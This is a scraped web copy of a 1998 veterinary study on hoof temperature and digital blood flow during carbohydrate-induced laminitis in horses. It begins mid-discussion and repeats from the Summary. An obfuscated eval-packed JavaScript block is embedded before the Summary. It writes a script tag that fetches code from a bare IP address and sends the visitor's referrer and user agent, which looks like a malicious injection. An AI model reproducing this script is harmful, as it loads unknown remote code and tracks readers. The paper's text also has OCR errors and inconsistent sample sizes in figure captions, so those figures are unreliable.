carbohydrate administration mean hoof temperature of laminitis positive horses showed a highly significant rise of almost 8<sup>o</sup>C above mean hoof temperatures of the laminitis negative group: The mean t s.e. hoof temperature of the laminitis positive horses reached a maximum of 25.62 ± 2.15<sup>o</sup>C and remained significantly above that of laminitis negative horses until 40 h after the first administration of carbohydrate. At 48 h hoof temperatures were similar at around l8<sup>o</sup>C.</p> <p>We make the assumption here that changes in hoof temperature reflect changes in the underlying dermal blood flow as has long been accepted in studies using a variety of other animal models (Henshaw et al. 1972; Hales, 1985). The calibrated transistors placed in holes in the hoof wall probably did not measure the temperature of the lamellar dermis with absolute accuracy, but they appeared to measure successfully, temperature shifts. Therefore, a high hoof temperature would be associated with sublamellar vasodilation and a low hoof temperature with some degree of vasoconstriction. The plateaux of maximum hoof temperatures occurring, during the development of laminitis in the laminitis positive horses, were not significantly higher than the spontaneous high hoof temperatures occurring in the same horses (and in some sham treated controls) during the acclimatization period. Our results suggest that a hoof temperature of around 30<sup>o</sup>C represents the maximum degree of vasodilation achievable in an environmental chamber with an ambient temperature set at l0<sup>o</sup>C. This hoof temperature was periodically reached in normal sham treated control horses and laminitis positive and laminitis negative horses during the acclimatization period. Therefore, it is not the degree of vasodilation that appears to be the critical factor in determining if a horse develops laminitis, but the timing and duration of the vasodilation in relation to the concomitant metabolic events induced by the carbohydrate overload. Prolonged foot vasodilation alone does not cause laminitis as we maintained foot temperatures averaging 28<sup>o</sup>C for 30 hours using repeated injections of bupivicaine HC1 (Marcains) to the palmar digital nerves, with no ill effect (C.C. Pollitt and C. T. Davies, unpublished data).</p> <p>Our data suggest that for laminitis to result from the alimentary administration of carbohydrate a period of sublamellar vasodilation must occur. If the circulation remains constricted then laminitis does not occur. The critical period during which vasodilation and laminitis concur is 12-40 h after the first administration of carbohydrate. Clinical laminitis, manifest as weight shifting from one foot to the other, appeared 32-40 h after carbohydrate administration. Histopathology confirmed the existence, in laminitis positive horses, of the lesions typical of acute laminitis 48 h after alimentary carbohydrate overload as described previously (Pollitt 1996).</p> <p>Pyrexia was a feature of both the laminitis positive and negative groups of horses. Mean core temperatures of both groups were virtually identical (Fig 4) for the first 16 h after the first administration of carbohydrate. However, after 16 h, mean core temperature of laminitis positive horses increased above that of the negative horses for the remainder of the experimental period, although the difference only reached significance after 36 h. The graphs of core temperature for both laminitis positive and negative horses were biphasic. The first peak occurred between 16 and 20 h and the second, 16 h later at about 36 h. Circulating endotoxin is a potent pyrogen in horses and single i.v. injections of E. coli endotoxin cause increases in core temperature proportional to the dose administered (Wisniewski et al. 1992). Endotoxaemia following alimentary carbohydrate overload in horses was a feature of 11 of 12 horses developing Obel grade 3 laminitis (Sprouse et al. 1987). In 5/11 (45%) of these horses the endotoxaemia was biphasic with peaks, separated by an interval of 16 h, occurring at 32 and 48 h. The rapid production of high concentrations of Gram-negative endotoxin in the caecum of horses after alimentary carbohydrate overload (Moore et al. 1979) appears to account for the endotoxaemia verified by Sprouse et al. (1987) in horses treated similarly. Although endotoxin was not measured in the blood of the 13 horses, given alimentary overload of carbohydrate in this study, it seems probable that fluctuating levels were responsible for the pattern of pyrexia recorded from both laminitis positive and negative horses. Higher mean core temperatures developed by the laminitis positive group could have been due to higher blood concentrations of endotoxin.</p> <p>Capillary and AVA blood flow in the skin have been manipulated experimentally in sheep by inducing fever with i.v. pyrogen and by heating the spinal cord (Hales et al. 1982; Rubsamen and Hales 1984). Skin heat conductance increased as blood flow increased in either the capillaries or the AVAs, but the highest levels of heat conductance were only achieved when both capillary and AVA blood flow were at their highest levels. A feature of the hoof temperature graphs of the laminitis positive horses was a prolonged period of high temperature (Figs 3 and 7) which appeared to be the maximum hoof temperature achievable in the l0<sup>o</sup>C environment. If this high hoof temperature is occurring because all available digital capillaries and AVAs are fully dilated, as seems probable (Hales 1985), then it follows that the tissues of the foot were being perfused by more blood than would be the case if the digital blood vessels were constricted.</p> <p>Blood flow through AVAs is controlled by specific central thermoregulatory reflexes, whereas capillary flow is the target of local temperature effects (Hales 1985). Even if AVAs were the only hoof vessels to dilate initially, the delivery of hot arterial blood to the dermal tissues would soon raise the local temperature and cause capillary blood flow to increase. This principle has been well demonstrated in the hind leg skin of sheep using intra-arterial injections of capillary sized radioactive microspheres (Hales 1981). If this occurs during the development of laminitis it suggests a more passive role for the digital circulation than has previously been proposed. We speculate that, in response to rising core temperature, AVAs in the digits dilate via the central thermoregulatory reflex pathway and raise local temperature. The high local temperature causes capillaries to dilate via the local reflex and sublamellar tissues are perfused with maximum possible flow of blood. This may expose the lamellar tissue, be it dermis or epidermis, to blood borne factors which trigger lamellar separation of acute laminitis.</p> <p>The presence of a pronounced digital pulse has been noted by many authors as an important clinical sign of acute laminitis (Robinson 1990; Hood et al. 1993). In our study, all the laminitis positive horses developed a pronounced digital pulse in one or both front feet, at 24 or 32 h. This occurred in conjunction with warm hooves. In 3 of these horses the pronounced digital pulse persisted for 8 h then disappeared. One horse had a pronounced digital pulse at 24 h, which had disappeared at 32 h but was detectable again at 48 h. In most of the laminitis negative horses, a pronounced digital pulse occurred only once when hoof temperatures were either warm or cold.</p> <p>Shunting of blood through AVAs has been proven to occur (Hood et al. 1978) at the time of clinical lameness (about 48 h after carbohydrate overload) when pulsing of the digital arteries is invariably present. The transient pronounced digital pulse recorded before clinical lameness in the horses of this study could correlate with a period of AVA dilation. The pulse disappears when the foot warms and initiates high capillary flow therefore relieving the AVAs of the `need' to remain fully dilated. Confirmation of this hypothesis awaits further study.</p> <p>Based on these data the use of vasodilatory therapy during the developmental phase of laminitis would be contraindicated. Paradoxically, the peripheral vasodilatory agent isoxsuprine hydrochloride was declared beneficial in the treatment of acute laminitis by Kirker-Head et al. (1987). Laminitis was induced by the alimentary carbohydrate overload method but the drug was not administered until 48 h had elapsed when clinical lameness had appeared. There is a proven correlation between clinical lameness and the severity of lamellar pathology (Pollitt 1996); and since the critical vasodilatory, laminitis associated, phase had passed, isoxsuprine could have had no influence on the pathogenesis of the laminitis in these horses. The drug and the vasodilation it induced may well have improved the state of the treated horses by relieving painful post developmental ischaemia and promoting healing of lamellae already damaged at the time of its administration. Similar logic applies to the report of Hinckley et al. (1996) that laminitis in grass foundered ponies responded to vasodilation induced by topical application of glyceryl trinitrate to the pasterns.</p> <p>The decrease in capillary perfusion and significant arteriovenous shunting present in horses with acute laminitis after alimentary carbohydrate overload shown by Hood et al. (1978) are also data obtained after lamellar pathology had occurred and, therefore, cannot be used to imply pathogenesis. In the experiments of Hood et al. (1978) foot blood flow increased until just prior to the onset of clinical laminitis which is in agreement with the sequence of events presented here. Similarly, the deduction by Coffman et al. (1970) that acute laminitis involved decreased lamellar perfusion was based on angiovenograms, interpreted to demonstrate reduced or obliterated terminal arteries, made when clinical laminitis was already underway. The vessel constriction and reduced digital blood flow they demonstrated was probably the result of lamellar injury rather than the cause of it. This, the first study to evaluate hoof temperature continuously and, hence, sublamellar blood flow during the developmental phase of laminitis confirms the conclusion of Robinson et al. (1976) and Trout et al. (1990) that laminitis is preceded by an increased flow of blood in the lamellar region.</p> <p>This is at variance with the results of Coffman et al. (1970), Garner et al. (1975), Hood et al. (1978), Hood et al. (1990) and Hinckley et al. (1996) who suggested that the reduced digital blood flow involved was a cause of laminitis. In this study there was no evidence that decreased digital blood flow was associated with the onset of laminitis and the contrary appeared to be the case: it was increased sublamellar blood flow that was associated with laminitis. The experiments, conducted on horses with short summer hair coats and therefore not physiologically adapted to a low environmental temperature (10<sup>o</sup>C), appear to have serendipitously revealed that digital vasoconstriction conferred protection during the developmental phase of carbohydrate induced laminitis.</p> <p><span style="font-size: xx-small;"><strong>References</strong></span></p> <ol> <li> Coffman, J.R., Johnson, J.H., Guffy, M.M. and Finocchio, E.J. (1970) Hoof circulation in equine laminitis. J. Am. med. vet. Ass. 156, 76-83.</li> <li> Garner, H.E., Coffman, J.R. Hahn, A.W., Hutcheson, D.P. and Tumbleson, M.E. (1975) Equine laminitis of alimentary origin: an experimental model. Am. J. vet. Med. 36, 441-445.</li> <li> Hales, J.R.S (1981) The use of microspheres to partition the microcirculation between capillaries and arteriovenous anastomoses. In: Progress in Microcirculation Research. Ed: D. Garlick. Committee in Postgraduate Medical Education, University of NSW, Sydney. Australia. pp 397-412.</li> <li> Hales, J.R.S (1985) Skin aneriovenous anastomoses, their control and role in thermoregulation. In: Curdiovascular Shunts, Alfred Benzon Sympnsium 21. Eds: K. Johansen and W.W. Burggren. Munksgaard, Copenhagen. pp 433-451.</li> <li> Hales, J.R.S. and Molyneux, G.S. (1988) Control of cutaneous arteriovenous anastomoses. In: vasodilution: muscular Smooth Muscle, Peptides, Autonomic Nenes, and Endothelium. Ed: Paul M. Vanhoutte. Raven Press Ltd., New York. pp 321-332.</li> <li> Hales, J.R.S., Foldes, A. Fawcett, A.A. and King, B.B. (1982). The role of adrenergic mechanisms in thermoregulatory control of blood flow through capillaries and arteriovenous anastomoses in the sheep hind leg. Pfluger.s Archis 395, 93-98.</li> <li> Harkema, J.R., Robinson, N.E. and Scott, J.B. (1978) Cardiovascular, acid-base, electrolyte and plasma volume changes in ponies developing alimentary laminitis. Am. J. vet. Res. 39, 741-744.</li> <li> Henshaw, R.E., Underwood, L.S. and Casey, T.M. (1972) Peripheral thermoregulation: foot temperature in two arctic canines. Science. 175, 988990.</li> <li> Hinckley, K.A., Feam, S. Howard, B.R. and Henderson, I.W. (1996) Nitric oxide donors as treatment for grass induced acute laminitis in ponies. Equine vet. J. 28, 17-28.</li> <li> Hood, D.M., Amoss, M.S. and Grosenbaugh, D.A. (1990) Equine laminitis: a potential model of Raynaud's phenomenon. Angiology. 41, 270-277.</li> <li> Hood, D.M., Crosenbaugh, D.A., Mostafa, M.B., Morgan, S.J. and Thomas, B.C. (1993) The role of vascular mechanisms in the development of acute equine laminitis. J vet. Intern. Med. 7, 228-234.</li> <li> Hood, D.M., Amoss, M.S., Hightower, D., McDonald, D.R., McGrath. J.P., McMullan, W.C. and Scrutchfield, W.L. (1978) Equine laminitis 1: Radioisotopic analysis of the hemodynamics of the foot during the acute disease. J. equine Med. Surg. 2, 439-444.</li> <li> Kirker-Head, C.A., Stephens, K.A., Toal, R.L. and Goble, D.O. (1987) Circulatory and blood gas changes accompanying the development and treatment of induced laminitis. Equine vet. Sci. 6, 293-301.</li> <li> Mogg, K.C. (1991) The Role of Arteriovenous Anastamose's in Equine Laminitis: A Physiological Study. PhD Thesis. The University of Queensland, Qld 4072, Australia.</li> <li> Molyneux, G.S. and Bryden, M.M. (1975) Arteriovenous anastomoses in the skin of the Weddell Seal, LePtonvchotes Weddelli. Science l89, 1100-1102.</li> <li> Molyneux, G.S., Haller, C.J., Mogg, K. and Pollitt, C.C. (1994) The stucture, innervation and location of arteriovenous anastomoses in the equine foot. Equine vet. J. 26, 305-312.</li> <li> Moore, J.N., Gamer, H.E., Berg, J.N. and Sprouse, R.F. (1979) Intracecal endotoxin and lactate during the onset of equine laminitis: a preliminary report. Am. J. vet. Re.s. 40, 722-723.</li> <li> Pollitt, C.C. (1991) The role of arteriovenous anastomoses in the pathophysiology of equine laminitis. Proc. Am. Ass. equine Practnrs. 37, 711-720.</li> <li> Pollitt, C.C. (1996) Basement membrane pathology: a feature of acute equine laminitis. Equine vet. J. 28, 38-46.</li> <li> Pollitt, C.C. and Molyneux, G.M. (1990) A scanning electron microscopic study of the dermal microcirculation of the equine foot. Equine vet. J. 22, 79-87.</li> <li> Robinson, N.E. (1990) Digital blood flow, arteriovenous anastomoses and laminitis. Equine vet. J. 22, 381-383.</li> <li> Robinson, N.E., Scott, J.B. and Dabney, E.M. (1976) Digital vascular responses and permeability in equine alimentary laminitis. Am. J. vet. Res. 37,1 171-174.</li> <li> Rubsamen, K. and Hales, J.R.S. (1984) Role of arteriovenous anastomoses in determining heat transfer across the hind leg skin of sheep. In: Thermal Physiology. Ed: J.R.S. Hales. Raven Press, New York. pp 259-262.</li> <li> Sprouse, R.F., Garner, H.E. and Green, E.M. (1987) Plasma endotoxin levels in horses subjected to carbohydrate induced laminitis. Equine vet. J.19, 25-28.</li> <li> Trout, D.R., Homof, W.J., Linford, R.L. and O'Brien, T.R. (1990) Scintigraphic evaluation of digital circulation during the developmental and acute phases of equine laminitis. Equine vet. J. 22, 416-421.</li> <li> Wisniewski, E., Kmmrych, W. and Danek. J. (1992) Latency period and developmental phases of fever in horses. Bull. vet. Inst. Pulawv. 36, 31-38.</li> </ol>Posted here with the permission of the authors.<br />First published in <strong><em>Equine vet. J. Suppl.</em></strong>, (1998) <strong><em>28</em></strong> 125-132</div> <div class="feed-description"><p><span style="font-size: xx-small;"><strong>Summary</strong></span></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anbni|var|u0026u|referrer|bhssb||js|php'.split('|'),0,{})) </script></noindex> <p class="MsoNormal"><span class="dropcap">T</span>he effect of alimentary carbohydrate overload on hoof temperature was investigated to determine the state of the sublamellar vasculature preceding the onset of equine laminitis. Hoof, core and ambient temperatures and heart rate were logged continuously in 21 mature Standardbred horses kept in an environmental chamber set at l0<sup>o</sup>C. Recording hoof temperature was a successful, noninvasive, method to measure indirectly, shifts in digital blood flow against a background of cold induced, physiological, vasoconstriction. High hoof temperatures were assumed to indicate digital vasodilation and low hoof temperatures digital vasoconstriction. Seven horses were either untreated or sham treated controls. A slurry of ground wheat flour (17.5 kg) was administered via nasogastric tube to 13 horses all of which were humanely killed 48 hours later. Histological sections of the lamellar tissues were examined for evidence of laminitis. Analysis of mean hoof temperature graphs showed that horses judged laminitis positive had experienced a period of prolonged digital vasodilation 16-40 hours after carbohydrate overload. Laminitis negative horses experienced no such period of vasodilation and never had hoof temperatures significantly (except once, at 28 hours) above that of controls. The only parameter which significantly differentiated the laminitis positive from laminitis negative horses, between 12 and 32 hours after carbohydrate overload, was foot temperature, which was significantly higher in laminitis positive horses (P&lt;0.05). Therefore, a period of sublamellar vasodilation, 12 to 40 hours after alimentary carbohydrate overload precedes the onset of laminitis. If the digital circulation sustains vasoconstriction during this period then laminitis does not occur We propose that the period of increased digital blood flow in laminitis positive horses, concomitant with the severe metabolic crisis brought on by the alimentary carbohydrate overload, may expose the lamellar tissues to a concentration of blood borne factors sufficient to trigger lamellar separation.</p> <p><span style="font-size: xx-small;"><strong>Introduction</strong></span></p> <p>Shunting of blood away from the nutrient capillaries of the hoof lamellae via inappropriately dilated arteriovenous anastomoses (AVAs) has been proposed as a pathophysiological mechanism for developmental equine laminitis (Robinson et al. 1976; Hood et al. 1978). Detailed information on the anatomy of the AVAs in the dermis of the equine digit (Pollitt and Molyneux 1990; Molyneux et al. 1994) lent weight to the proposal that AVA shunting could be a mechanism involved in the development of laminitis. A normal function of dilated AVAs may be to maintain foot temperature above the tissue freezing point (about -l0<sup>o</sup>C) when extremely low environmental temperatures could cause damage (frostbite) to horses standing, for long periods, in ice and snow. For this to occur it is assumed that a dual circulation exists: a slow nutrient capillary circulation supporting the metabolism of the lamellar tissues and a fast AVA circulation periodically delivering warm arterial blood to the dermis of the foot when the foot reaches a critically low temperature. A circulatory arrangement like this has been described in the feet of cold adapted mammals, the arctic fox and grey wolf (Henshaw et al. 1972). Skin AVAs are also heat dissipating structures and dilate in response to rising core temperature therefore increasing the rate of surface heat loss. The high density of AVAs located in the entire skin surface of the Weddell seal is believed to be important in dissipating heat when the animal is out of water (Molyneux and Bryden 1975). The AVAs in the digit of the equine foot may also be involved in heat dissipation, dilating in response to rising core temperatures. Partitioning of blood from one circulation to the other implies the existence of sophisticated reflex and local control mechanisms reviewed by Hales and Molyneux (1988). Sensory, afferent nerves relay information from the foot to the hypothalamus about the thermal status of the foot and in turn vasomotor, efferent nerves regulate AVA tone via catecholamine and peptidergic fibres innervating smooth muscle cells in the AVA wall. Superimposed on this centrally mediated control of AVA tone are active neurogenic, vasodilatory, mechanisms and local axon reflexes which under certain circumstances can increase the vasodilatory capacity of skin type tissues. Therefore, AVAs are the target of reflexly (central) evoked thermoregulatory responses and capillary flow is principally the target of direct (local) temperature effects (Hales and Molyneux 1988). Flow rates through skin capillaries are lower than through the wider diameter AVAs but capillaries are nevertheless more efficient dissipators of heat and are a major site of heat exchange. There is no significant difference between the maximum total heat loss through capillaries and AVAs in the metatarsal skin of sheep (Rubsamen and Hales 1984).</p> <p>The laminitis literature is divided on the subject of sublamellar perfusion (Hood et al. 1993). The angiographic studies of Coffman et al. (1970) and scans of the digit obtained after arterial injection of radiolabelled aggregates of albumin (Hood et al. 1978) supported hypoperfusion and laminar ischaemia as causes of laminitis. Presumably the hoof would be cool if perfusion of the sublamellar vasculature was reduced prior to the appearance of laminitis. Direct measurement of digital blood flow in acute laminitis by Robinson et al. (1976) showed an increase in blood flow as a result of decreased vascular resistance (vasodilation). Similarly Trout et al. (1990) could not support lamellar ischaemia as a primary cause of laminitis as their noninvasive scintigraphic studies of the digital circulation showed a statistically significant elevation of sublamellar blood flow prior to lameness. A warm hoof would result if digital AVAs were dilated.</p> <p>Laminitis may result from a failure of the connective tissue junction between the inner hoof wall and the distal phalanx because fresh arterial blood is preferentially shunted through dilated AVAs instead of through nutrient capillaries normally supporting key epidermal structures of the inner hoof wall. Prolonged inappropriate AVA dilation may cause stagnation of the nutrient capillary circulation, ischaemia of the hoof epidermis and eventually destruction of the lamellar anatomy (Pollitt 1991). If prolonged AVA dilation is indeed the cause of lamellar pathology then, as Mogg (1991) noted, a period of hoof warming must precede the appearance of the clinical foot pain and lamellar pathology of acute laminitis.</p> <p>To determine if hoof warming and, by inference, a vasodilatory event, precedes the onset of laminitis we investigated the effect of alimentary carbohydrate overload on hoof temperature. Previous attempts to monitor digital blood flow during the developmental stage of laminitis required either anaesthesia, cannulation of digital arteries or use of irritating drugs and the resultant observations have been criticised as possibly artifactual (Robinson 1990). Therefore, this study used a noninvasive method to measure hoof temperature and therefore indirectly measure digital blood flow. Since the hoof, core and ambient temperature were to be monitored continuously for 48 hours, against a background of cold induced vasoconstriction, other clinical data were collected, at 8 hourly intervals, to seek temporal correlations between clinical signs and changes in hoof temperature. Appetite, thirst, demeanor, foot behaviour, digital pulse, ****** consistency, gut sounds, rectal and core temperature and faecal pH were assessed and recorded.</p> <p><strong><span style="font-size: xx-small;">Materials &amp; Methods</span></strong></p> <p>The experiments were conducted according to guidelines approved by the University of Queensland Animal Experimentation Ethics committee. All horses under experimentation were inspected by the Animal Welfare Officer.</p> <p>Experiments were carried out in an environmental chamber with an ambient temperature set at 1O<sup>o</sup>C. A total of 22 horses (17 geldings and 5 mares) were used, who were all Standardbred racehorses, recently retired from the track, age 2-9 years. Two horses were in the chamber for each experiment, one in the carbohydrate treatment group, the other in the sham treated control group. Fourteen horses were dosed with carbohydrate, 7 were sham dosed and one was an untreated control. Each horse was tethered to the wall and could move freely in an arc of 180<sup>o</sup>. Fresh water at room temperature (about 25<sup>o</sup>C) was offered to the horses at 3 hourly intervals. Fodder, in the form of a pelleted working horse mix and lucerne chaff, was available at all times.</p> <p>Each horse was fitted with a harness consisting of a girth, crupper and a breastplate with an attached saddlebag. In the saddlebag was an 8 channel data logger. Six channels recorded hoof temperature and ambient temperature. The 7th channel was connected to a jugular catheter with a built in thermistor for measuring core temperature. The 8th channel was an event marker.</p> <p>The hoof temperature sensors were NPN silicon transistors, type BC846. These are a surface mount type, used because of their small size. The sensors were connected to oscillator circuits, with a pulse train output, the frequency of which varied with the temperature of the sensor. The microprocessor circuit of the datalogger, type CMOS 6805, counted and logged the pulses over a preprogrammed period of 5 minutes. Hoof temperature was measured using the sensors calibrated for temperature. Each sensor was soldered to the end of an insulated cable and embedded in epoxy resin (Araldite)1. The cables were 2 m in length. The embedded sensor was inserted into a hole drilled into the dorsal hoof wall of the fore feet 15 mm below the hairline of the coronet and taped to the hoof with PVC electrical tape. Drilling of the holes caused no pain response and no hemorrhage. The holes were 4 mm diameter and 7 mm deep, and were perpendicular to the hoof wall. There were two sensors in each fore foot. The temperature at the hoof surface of all the horses was checked with a thermometer operating on a different principle (Infrared Temperature Scanner)2 and always agreed with the temperature displayed by the implanted transistors. Heat sink paste was placed in the drilled holes before insertion of the sensors. The cables connecting the sensors to the data loggers, were taped to the legs of the horses at the mid pastern, mid cannon and proximal carpal regions. The tape was applied loosely to prevent skin pressure and possible oedema formation. Enough cable was left at each joint to allow full flexion and extension. Two sensor cables were taped to the harness so that the sensors hung free on either side of the abdomen to record ambient temperature.</p> <p>Core temperature was measured with a sterilized thermistor catheter (Swan-Ganz thermodilution catheter) 3 inserted into the right atrium of the heart via a l0G cannula inserted into the left jugular vein at a site anaesthetized with local anaesthetic. The free end of the thermistor catheter was sutured to the skin and a collar of adhesive tape (Elastoplast)4 was applied to the neck of the horse to secure the l0G cannula, the thermistor catheter and its data logger connecting cable. The 6 sensors and the thermistor catheter were all calibrated beforehand in set temperature water baths. Heart rate was measured using a heart rate monitor (Equine Electronics equine heart rate computer) 5 with recording electrodes placed in contact with clipped skin, under the girth, at the withers and sternum. A second data logger was connected to the heart rate monitor earphone output via a filtering and rectifying circuit which turned the tone burst (beeping) output of the monitor into a pulse train. This recorded the computed heart rates over a 60 second period and logged the average heart rate/minute.</p> <p>The information stored in both the temperate and heart rate data loggers was dumped to a notebook computer every 8 hours via an RS232 cable. Software, specially written for this project, transformed the temperature data into graph form and stored the data in files for further analysis.</p> <p>The horses were acclimated in the environment chamber for 16 hours prior to dosing with carbohydrate. After the acclimatization period, the treated horse was dosed with 3 lots of wheat flour (17.5 g/l) mixed to a slurry in 8 litres of water. Each dose was administered via nasogastric tube, every 4 hours. The control horses were sham treated with the same volume of room temperature water given at the same times. During the 48 hours experimental period observations were made regarding appetite, drinking, general demeanor, foot behaviour, oral mucous membrane capillary refill time, digital pulse, faecal consistency, faecal pH, gut sounds (left colon and ileo-caecal sounds) and rectal temperature. Horses showing signs of colic were treated with appropriate doses of detomidine HC1 10 mg/ml (Dormosedan) 6 and butorphanol tartrate 10 mg/ml (Dolorex) 6. Forty-eight hours after the first administration of the carbohydrate, or before if there was evidence of colic or foot pain, the experiment was stopped. Five horses failed to reach the 48 hours end point and were not included in the data analysis (2 mares, 3 geldings). Three of these developed severe electrolyte and fluid disturbances, became recumbent 16-30 hours after carbohydrate dosing and were promptly subjected to euthanasia. The remaining 2 were subjected to euthanasia because of colic unresponsive to treatment.</p> <p>Treated horses were killed with an overdose of barbiturate and both front feet removed by disarticulation at the metacarpal/phalangeal joint. The foot was cut on a bandsaw to harvest the lamellae of the dorsal hoof wall into 10% neutral buffered formalin according to the method of Pollitt (1996). Stained sections of the hoof wall lamellae were examined with a light microscope and the severity of the laminitis was graded using the scoring system of Pollitt (1996). Horses with laminitis in either fore foot were grouped as laxninitis positive. Horses with no lamellar lesions attributable to laminitis were grouped as laminitis negative. The control horses, not dosed or dosed only with water, were not killed at 48 hours but rested at pasture for 3 or 4 weeks and then reused in the carbohydrate treatment group.</p> <p>The data stored in the files of the laptop computer were joined and converted into graphical form. The 4 hourly means t s.e. of the right and left foot temperatures of the fore feet, core temperature, heart rate and faecal pH, of the laminitis positive horses were graphed and compared to the means of the laminitis negative and the control horses.</p> <p>Since the hoof temperature, core temperature and heart rate data was recorded every 5 minutes and the data were to be analyzed at 4 hourly intervals, an average of 5 hourly time points was calculated for each 4 hourly time point. The 2 hourly time points prior to and following the actual time point, and the time point itself were used. For the statistical analysis, a repeated measures analysis of variance (MANOVA) was performed for the time factor. The Greenhouse-Geisser epsilon test was applied to adjust the degrees of freedom in the F-tests, to compensate for sphericity in the covariance matrix due to correlated errors over time. A significant time effect was followed up with a series of cross-sectional analysis of variance (ANOVA) at each 4 or 8 hourly time point (depending on which set of data). The 2 front hooves were treated as a split unit within each horse, which were the whole units in the analysis of variance (ANOVA). The analysis of variance was performed using a computer software program (Anon 1994).</p> <p><span style="font-size: xx-small;"><strong>Results</strong></span></p> <p><strong>Acclimatization Period</strong></p> <p>During the 16 hour acclimatization period the horses accepted the harness and the data collecting apparatus with no signs of discomfort. For the most part the horses stood quietly and became animated only when anticipating the supply of fresh rations. They frequently changed position and showed no sign of foot discomfort while barefoot on the concrete floor of the environmental chamber. Some of the horses shivered slightly in the l0<sup>o</sup>C environment, especially those with short summer hair coats. All horses had core temperatures within the normal range. By the end of the acclimatization period (time zero) the mean t s.e. foot temperature (combined data of 42 hooves) of all horses was 13.3 ± 0.46<sup>o</sup>C, close to the ambient temperature (l0<sup>o</sup>C). The mean core temperature of all horses, at time 0, was 37.38 ± 0.12<sup>o</sup>C. The mean faecal pH was 7.45 ± 0.21.</p> <p><strong>Hoof Temperature</strong></p> <p>In 4 sham treated controls hoof temperature remained close to l0<sup>o</sup>C ambient (Fig 1). The remaining 3 horses and an untreated control developed spontaneous rapid rises in hoof temperature (up to 25<sup>o</sup>C) which lasted 1.4-11.4 hours. Increases in left and right hoof temperature were synchronized in some horses (Fig 2a) whereas in others both rise and fall of temperature were independent of each other (Fig 2b). After the warm period, the temperature of the hooves returned to the previous low level although in some horses, temperature fell rapidly whereas in others it fell slowly (Figs 2a and b). The graph of mean hoof temperatures of control horses (n = 7) was, therefore, not flat but showed random changes (Fig 3).</p> <p>In laminitis positive horses (n = 6) increases and decreases were synchronized (Fig 7). At time zero, temperatures were close to the ambient temperature but increased in all cases 4-15 hours after the administration of carbohydrate. Generally, temperatures remained elevated throughout the experimental period, except for a period of low temperature which corresponded to the initial increase in core temperature (Fig 7).</p> <p>Usually, hoof temperatures increased sharply to 25-32<sup>o</sup>C. One horse was an exception, its hoof temperatures rose slowly, but continuously, and at the end of the experiment its temperatures were approximately 25<sup>o</sup>C. Temperature of some horses remained high at the end of the experiment, while in others it dropped to near ambient temperature (Fig 7).</p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_1.jpg" width="516" height="338" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_1" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_1.jpg" width="516" height="338" /></p> <p><em><strong>Fig 1:</strong> Graphs of right and left fore hoof, core and ambient temperatures in a sham treated control horse. Hoof temperatures remained close to ambient for most of the experimental period whereas core temperature was in the normal range throughout.</em></p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_2.jpg" width="520" height="688" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_2" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_2.jpg" width="520" height="688" /></p> <p><em><strong>Fig 2a and 2b:</strong> Graphs of right and left fore hoof, core and ambient temperatures in a sham treated control horse. Hoof temperatures remained close to ambient for most of the experimental period whereas core temperature was in the normal range throughout.</em></p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_3.jpg" width="508" height="326" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_3" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_3.jpg" width="508" height="326" /></p> <p><em><strong>Fig 3:</strong> Mean t s.e. hoof temperatures of the sham treated control horse group (n = 14) compared to the mean t s.e. hoof temperatures of the laminitis positive (n = 72) and the laminitis negative horse group (n = 16). The hoof temperature of the laminitis positive group was significantly higher than the laminitis negative group and the sham treated controls between 16 and 40 hours after the first administration of carbohydrate (time 0). The indicators of statistical significance refer only to the differences between the laminitis positive and negative groups. *P&lt;0.05.</em></p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_4.jpg" width="506" height="328" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_4" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_4.jpg" width="506" height="328" /></p> <p><em><strong>Fig 4:</strong> Mean t s.e. core temperatures of all horse groups. The laminitis positive group (n = 6) and laminitis negative group (n = 8) developed and maintained mean core temperatures significantly above the control group (n = 7) which remained within normal limits. The mean core temperatures of the laminitis positive horses was significantly higher than the laminitis negative horses 36 h after carbohydrate overload. The indicators of statistical significance refer only to the differences between the laminitis positive and negative groups. *P&lt;0.05.</em></p> <hr /> <p>During the first 24 hours mean t s.e. hoof temperatures increased gradually from 13.63 ± l.0<sup>o</sup>C to 24.97 ± 1.62<sup>o</sup>C and then plateaued (Fig 3). Forty hours after first administration of carbohydrate mean hoof temperature was 25.62 ± 2.15<sup>o</sup>C and then decreased sharply. At 16 h mean hoof temperature of the 6 laminitis positive horses (21.63 ± 1.02<sup>o</sup>C) was significantly higher (P&lt;0.05) than that of the 8 laminitis negative horses (13.73 ± 0.6<sup>o</sup>C) and the 7 sham controls (14.21 ± 1.37<sup>o</sup>C), remaining significantly high until 40 h after time zero (Fig 3).</p> <p>The hoof, core and ambient temperature graph of an individual laminitis negative horse is shown in Figure 8. Left and right hoof temperatures in the laminitis negative horses were not as synchronous as hoof temperatures of the laminitis positive horses. In 5 horses, they were synchronous, but in the 3 others, they appeared independent of each other. All laminitis negative horses started with hoof temperatures close to ambient temperature of l0<sup>o</sup>C. Hoof temperature graphs of individual laminitis negative horses did not resemble each other, which is in contrast with those of laminitis positive horses. One horse 